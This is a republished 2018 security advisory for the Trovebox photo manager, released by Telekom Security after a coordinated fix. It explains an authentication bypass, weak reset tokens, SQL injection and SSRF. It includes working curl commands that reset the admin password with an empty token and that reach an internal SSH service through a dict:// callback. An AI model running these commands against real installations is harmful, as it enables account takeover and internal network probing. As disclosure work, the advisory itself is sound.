Lucene search
K

Trovebox 4.0.0-rc6 SQL Injection / Bypss / SSRF Vulnerabilties

🗓️ 03 May 2018 00:00:00Reported by Robin VertonType 
zdt
 zdt
🔗 0day.today👁 81 Views

Trovebox 4.0.0-rc6 SQL Injection, Authentication Bypass, SSRF Vulnerabilitie

Code
Advisory: Trovebox - Authentication Bypass, SQLi, SSRF
 Release Date: 2018/04/30
       Author: Robin Verton ([email protected])
          CVE: requested

  Application: Trovebox <= 4.0.0-rc6
         Risk: Critical
Vendor Status: A fix was released on github.

Overview:

  "Trovebox is software that helps you manage, organize and share photos. It
  includes web and mobile apps for Android and iOS. The goal of Trovebox is to
  be software which people love to use and helps them preserve their digial
  media files." [1]

  Multiple vulnerabilities were identified in the current release of Trovebox
  allowing to bypass authentication, inject SQL code or access local services
  and hosts.

Details:

  1) Authentication bypass via type juggling

    Trovebox puts JSON serialized data in a table column and deserializes this
    data when accessing it. If an accessed dictionary key can not be found in
    this result, bool(false) is returned. The passwordReset() function makes use
    of an unsafe comparison which allows to pass this check if there is no
    active token saved for the user:

      //ApiUserController.php, L89
      $user = new User;
      $token = $_POST['token'];
      $password = $_POST['password'];
      $passwordConfirm = $_POST['password-confirm'];
      $tokenFromDb = $user->getAttribute('passwordToken');
      if($tokenFromDb != $token)
        return $this->error('Could not validate password reset token.', false);

    Note that this will always reset the password for the owner/admin account,
    because the email address is not used here. By using an empty string ("") as
    the password token, the password can then be changed.

    Example:

      $ curl localhost/user/password/reset.json \
      -d "token=&password=x&password-confirm=x"
      {"message":"Password was updated successfully.","code":200,"result":true}


  2) Unsafe password reset token generation

    The password reset token generation is not random enough:

      //ApiUserController.php, L59
      $token = md5(rand(10000,100000));

    There are only 90.000 different tokens which is trivial to crack in a 
    short time frame.


  3) SQL injection in album list function

    The buildQuery() function in DatabaseMySql.php fails to validate the 'album'
    parameter.

    Example: /photos/album-1'[SQL]/list 
    Example: /photos/album/list?album=1'[SQL] 


  4) Server-Side request forgery in webhook subscription functionality

    The webhook subscribe function does not sufficient filter the passed
    callback url, thus allowing an authenticated user to access internal services
    and hosts.

    Example contacting a local SSHd:

      $ curl -XPOST pwnbox:8080/webhook/subscribe \
      -d "mode=GET&topic=a&callback=dict://127.0.0.1::22/?" \
      --cookie "PHPSESSID=jm6adsphu75m8kna0drkhj9nj4" 
      The verification call failed to meet requirements. Code: 0, Response: SSH-
      2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.8 Protocol mismatch.
      , Expected: 5a7f6cfc81a78, URL: dict://127.0.0.1:22/?mode=GET&topic=a&challenge=5a7f6cfc81a78


References:

    [1]: https://github.com/photo/frontend

Disclosure Timeline:

  11. February     2018 - Details sent to core contributor.
  21. March        2018 - Contributor pushed first patches.
  26. April        2018 - Patch merged.
  30. April        2018 - Advisory published.

About Telekom Security:

  Telekom Security is the security provider for Deutsche Telekom and Deutsche
  Telekom customers.

  https://security.telekom.com
  https://github.com/telekomsecurity
  http://www.sicherheitstacho.eu

  https://telekomsecurity.github.io/2018/04/trovebox-vulnerabilities.html

#  0day.today [2018-05-07]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 May 2018 00:00Current
0.5Low risk
Vulners AI Score0.5
81